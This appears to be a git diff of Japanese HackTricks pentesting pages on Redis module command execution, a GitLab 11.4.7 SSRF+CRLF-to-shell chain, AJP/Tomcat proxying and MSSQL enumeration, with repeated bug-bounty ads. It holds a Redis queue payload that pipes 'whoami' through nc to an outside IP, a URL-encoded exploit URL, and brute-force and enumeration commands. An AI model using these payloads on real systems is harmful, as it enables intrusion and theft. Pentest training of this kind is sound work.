1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するためのRedisモジュールをコンパイル**することができます。
|
||||
2. 次に、**コンパイルされた**モジュールをアップロードする方法が必要です。
|
||||
3. `MODULE LOAD /path/to/mymodule.so`を使用して、アップロードしたモジュールをランタイムで**ロード**します。
|
||||
4. `MODULE LIST`を使用して、正しくロードされたかどうかを確認するために**ロードされたモジュールをリスト**します。
|
||||
4. ロードされたモジュールが正しくロードされたかを確認するために、`MODULE LIST`を使用して**ロードされたモジュールを一覧表示**します。
|
||||
5. **コマンドを実行**します:
|
||||
|
||||
```
|
||||
|
@ -285,41 +293,46 @@ Redisに**クリアテキスト**リクエストを送信できる場合、Redis
|
|||
|
||||
### 例:Gitlab SSRF + CRLFからシェルへ
|
||||
|
||||
**Gitlab11.4.7**で**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようになっています(これにより、127.0.0.1にアクセスできます)。また、**CRLF**脆弱性は、**URL**に**%0D%0A**文字を追加することで悪用されました。
|
||||
**Gitlab11.4.7**で**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようになっていました(これにより、127.0.0.1にアクセスできます)。また、**CRLF**脆弱性は、**URL**に**%0D%0A**文字を追加することで悪用されました。
|
||||
|
||||
したがって、これらの脆弱性を悪用して、**gitlab**から**キューを管理する**Redisインスタンスと通信し、それらのキューを悪用して**コードの実行**を取得することが可能でした。Redisキューの悪用ペイロードは次のとおりです:
|
||||
したがって、これらの脆弱性を悪用して、**gitlab**から**キューを管理する**Redisインスタンスと通信し、それらのキューを悪用して**コードの実行を取得**することが可能でした。Redisキューの悪用ペイロードは次のとおりです:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
そして、`whoami`を実行し、`nc`を介して出力を送り返すために、SSRFとCRLFを悪用したURLエンコードリクエストは次のとおりです:
|
||||
そして、`whoami`を実行し、出力を`nc`を介して送信するために、**SSRFを悪用した**リクエストを**URLエンコード**し、**CRLF**を実行するURLは次のとおりです:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_なぜか(この情報は_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _から取得された情報によると)この攻撃は `git` スキームではなく `http` スキームで動作しました。_
|
||||
_なぜか(この情報は[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _から取得された情報によると)この攻撃は `http` スキームではなく `git` スキームで動作しました。_
|
||||
|
||||
\_\_
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,25 +12,32 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJPはワイヤープロトコルです。これは、[Apache](http://httpd.apache.org/)などのスタンドアロンのWebサーバーがTomcatと通信するためのHTTPプロトコルの最適化バージョンです。歴史的に、Apacheは静的コンテンツの提供においてTomcatよりもはるかに高速でした。アイデアは、可能な限りApacheが静的コンテンツを提供し、Tomcat関連のコンテンツについてはリクエストをTomcatにプロキシすることです。
|
||||
> AJPはワイヤープロトコルです。これは、[Apache](http://httpd.apache.org/)などのスタンドアロンのWebサーバーがTomcatと通信するためのHTTPプロトコルの最適化バージョンです。歴史的に、Apacheは静的コンテンツの提供においてTomcatよりもはるかに高速でした。アイデアは、可能な限りApacheが静的コンテンツを提供し、Tomcat関連のコンテンツに対してはリクエストをTomcatにプロキシすることです。
|
||||
|
||||
また興味深いのは:
|
||||
|
||||
> ajp13プロトコルはパケット指向です。パフォーマンスの理由から、より読みやすいプレーンテキストではなく、バイナリ形式が選択されたと思われます。WebサーバーはTCP接続を介してサーブレットコンテナと通信します。ソケットの作成にかかる高価なプロセスを削減するために、Webサーバーはサーブレットコンテナへの持続的なTCP接続を維持し、複数のリクエスト/レスポンスサイクルで接続を再利用しようとします。
|
||||
> ajp13プロトコルはパケット指向です。パフォーマンスの理由から、より読みやすいプレーンテキストではなくバイナリ形式が選択されたと思われます。WebサーバーはTCP接続を介してサーブレットコンテナと通信します。ソケットの作成にかかる高価なプロセスを削減するために、Webサーバーはサーブレットコンテナへの持続的なTCP接続を維持し、複数のリクエスト/レスポンスサイクルに対して接続を再利用しようとします。
|
||||
|
||||
**デフォルトポート:** 8009
|
||||
```
|
||||
|
@ -57,7 +64,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
### Apache AJPプロキシ
|
||||
|
||||
通常、ポート8009が開いていて他のウェブポートが開いていないことはめったにありません。その場合、既存のツール(例:Metasploit)を使用して侵入することができれば便利です。引用の一つに述べられているように、Apacheを悪用してリクエストをTomcatのポート8009にプロキシすることができます。参考文献には、それを行うための素晴らしいガイドがあります(まずそれを読んでください)。以下は、私自身のマシンで使用したコマンドの概要です。必要ないと思われる元の指示の一部を省略しました。
|
||||
通常、ポート8009が開いていて他のウェブポートが開いていないことはめったにありません。その場合、既存のツール(例:Metasploit)を使用して侵入することができれば便利です。引用の一つに述べられているように、Apacheを悪用してリクエストをTomcatのポート8009にプロキシすることができます。参考文献には、それを行うための素晴らしいガイドがあります(まずそれを読んでください)。以下は、私自身のマシンで使用したコマンドの概要です。必要ないと思われる一部の元の指示は省略しました。
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
|
@ -93,7 +100,7 @@ VHOST no HTTP server virtual host
|
|||
```
|
||||
### Nginxリバースプロキシ&AJP
|
||||
|
||||
オープンなAJPプロキシポート(8009 TCP)に遭遇した場合、Nginxを`ajp_module`と共に使用して「隠れた」Tomcat Managerにアクセスすることができます。以下の手順で、Nginxのソースコードをコンパイルし、必要なモジュールを追加します。
|
||||
オープンなAJPプロキシポート(8009 TCP)に遭遇した場合、Nginxを`ajp_module`と共に使用して「隠れた」Tomcat Managerにアクセスすることができます。これは、次の手順でNginxのソースコードをコンパイルし、必要なモジュールを追加することで実現できます:
|
||||
|
||||
* Nginxのソースコードをダウンロードします。
|
||||
* 必要なモジュールをダウンロードします。
|
||||
|
@ -127,7 +134,7 @@ ajp_pass tomcats;
|
|||
}
|
||||
}
|
||||
```
|
||||
ローカルホストに対してcURLリクエストを発行して、Nginxが正常に動作しているか確認するために、Nginxを起動してください。
|
||||
ローカルホストに対してcURLリクエストを発行して、Nginxが正常に動作しているか確認してください。
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
@ -165,24 +172,31 @@ curl http://127.0.0.1:80
|
|||
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofに登録**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,27 +4,34 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **web3のバグについてもっと学ぶために**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Microsoft SQL Server**は、Microsoftによって開発された**関係データベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品です。これらのアプリケーションは、同じコンピューター上またはネットワーク上(インターネットを含む)の別のコンピューター上で実行される場合があります。\
|
||||
**Microsoft SQL Server**は、Microsoftによって開発された**関係データベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品です。これらのアプリケーションは、同じコンピューター上またはネットワーク(インターネットを含む)上の別のコンピューターで実行される場合があります。\
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)から。
|
||||
|
||||
**デフォルトポート:** 1433
|
||||
|
@ -49,7 +56,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**資格情報がない**場合は、それらを推測してみることができます。nmapまたはmetasploitを使用することができます。ただし、既存のユーザー名を使用して何度もログインに失敗すると、アカウントが**ブロック**される可能性があるため、注意が必要です。
|
||||
**資格情報を持っていない**場合は、それらを推測することができます。nmapまたはmetasploitを使用することができます。既存のユーザー名を使用して何度もログインに失敗すると、アカウントが**ブロック**される可能性があるため、注意してください。
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit(資格情報が必要)
|
||||
|
@ -109,41 +116,95 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||
|
||||
MSSQL Serverのバージョンを特定するために、以下の手法を使用できます。
|
||||
|
||||
- **バナー情報の取得**: MSSQL Serverに接続し、バナー情報を取得します。これにより、サーバーのバージョン情報が表示されます。
|
||||
1. ポートスキャンツール(例:Nmap)を使用して、MSSQL Serverが実行されているポートを特定します。デフォルトでは、MSSQL ServerはTCPポート1433を使用しますが、ポート番号は変更される場合があります。
|
||||
|
||||
- **ポートスキャン**: ポートスキャンツールを使用して、MSSQL Serverが使用しているポートを特定します。一般的なポートは1433ですが、カスタムポートを使用している場合もあります。
|
||||
2. ポートが特定されたら、MSSQL Serverに接続してバージョン情報を取得します。以下のコマンドを使用します。
|
||||
|
||||
- **デフォルトインスタンスの特定**: デフォルトインスタンスは、MSSQL Serverのインストール時に自動的に作成されるインスタンスです。デフォルトのインスタンス名は「MSSQLSERVER」です。デフォルトインスタンスが存在する場合、ポートスキャンで特定できます。
|
||||
```
|
||||
$ nmap -p <port_number> --script ms-sql-info <target_ip>
|
||||
```
|
||||
|
||||
- **サービスディスカバリープロトコルの使用**: サービスディスカバリープロトコルを使用して、ネットワーク上のMSSQL Serverインスタンスを特定できます。このプロトコルは、UDPポート1434で動作します。
|
||||
3. もしくは、MSSQL Serverに接続してバージョン情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT @@VERSION" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
|
||||
##### ユーザーの列挙
|
||||
|
||||
MSSQL Serverのユーザーを列挙するために、以下の手法を使用できます。
|
||||
MSSQL Serverに接続してユーザーを列挙するために、以下の手法を使用できます。
|
||||
|
||||
- **Windows認証の使用**: MSSQL ServerがWindows認証を使用している場合、ユーザーはWindowsドメイン内のユーザーと同じです。したがって、Windowsドメイン内のユーザーを列挙することで、MSSQL Serverのユーザーも特定できます。
|
||||
1. ユーザー名とパスワードの組み合わせを総当たり攻撃するために、ユーザー名の辞書攻撃を実行します。一般的なユーザー名(例:admin、root)や一般的なパスワード(例:password、123456)を使用して攻撃します。
|
||||
|
||||
- **SQL Server認証の使用**: MSSQL ServerがSQL Server認証を使用している場合、ユーザーはMSSQL Server内に作成されたユーザーです。ユーザーテーブルやシステムテーブルを調査することで、ユーザーを特定できます。
|
||||
2. ユーザー名を特定するために、MSSQL Serverのシステムテーブル(例:sys.syslogins)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.syslogins" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
|
||||
##### データベースの列挙
|
||||
|
||||
MSSQL Serverのデータベースを列挙するために、以下の手法を使用できます。
|
||||
MSSQL Serverに接続してデータベースを列挙するために、以下の手法を使用できます。
|
||||
|
||||
- **データベースクエリの実行**: MSSQL Serverに接続し、データベースクエリを実行することで、データベースの一覧を取得できます。一般的なクエリは「SELECT name FROM sys.databases;」です。
|
||||
1. データベース名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysdatabases)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
- **データベースのバナー情報の取得**: バナー情報を取得することで、データベースの情報を特定できます。バナー情報には、データベースの名前やバージョンなどが含まれます。
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysdatabases" | sqlcmd -S <target_ip> -U <username> -P <password>
|
||||
```
|
||||
|
||||
- **データベースのファイルシステムの調査**: データベースのファイルシステムを調査することで、データベースの存在や構造を特定できます。ファイルシステムの調査には、ファイルおよびディレクトリのリストを取得することが含まれます。
|
||||
2. データベースのバージョン情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT @@VERSION" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### テーブルの列挙
|
||||
|
||||
MSSQL Serverのテーブルを列挙するために、以下の手法を使用できます。
|
||||
MSSQL Serverに接続してテーブルを列挙するために、以下の手法を使用できます。
|
||||
|
||||
- **テーブルクエリの実行**: MSSQL Serverに接続し、テーブルクエリを実行することで、テーブルの一覧を取得できます。一般的なクエリは「SELECT name FROM sys.tables;」です。
|
||||
1. テーブル名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysobjects)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
- **情報スキーマの調査**: 情報スキーマを調査することで、テーブルの情報を特定できます。情報スキーマには、テーブルの名前、列の情報、および制約の情報などが含まれます。
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysobjects WHERE xtype = 'U'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
- **データベースのファイルシステムの調査**: データベースのファイルシステムを調査することで、テーブルの存在や構造を特定できます。ファイルシステムの調査には、ファイルおよびディレクトリのリストを取得することが含まれます。
|
||||
2. テーブルのカラム情報を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<table_name>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### ストアドプロシージャの列挙
|
||||
|
||||
MSSQL Serverに接続してストアドプロシージャを列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. ストアドプロシージャ名を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysobjects)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT name FROM sys.sysobjects WHERE xtype = 'P'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. ストアドプロシージャの定義を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "EXEC sp_helptext '<stored_procedure_name>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
##### ユーザー権限の列挙
|
||||
|
||||
MSSQL Serverに接続してユーザーの権限を列挙するために、以下の手法を使用できます。
|
||||
|
||||
1. ユーザーの権限を特定するために、MSSQL Serverのシステムテーブル(例:sys.sysprotects)をクエリします。以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "SELECT * FROM sys.sysprotects" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
|
||||
2. 特定のユーザーの権限を取得するために、以下のコマンドを使用します。
|
||||
|
||||
```
|
||||
$ echo "EXEC sp_helprotect '<username>'" | sqlcmd -S <target_ip> -U <username> -P <password> -d <database_name>
|
||||
```
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
|
@ -223,7 +284,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### OSコマンドの実行
|
||||
|
||||
{% hint style="danger" %}
|
||||
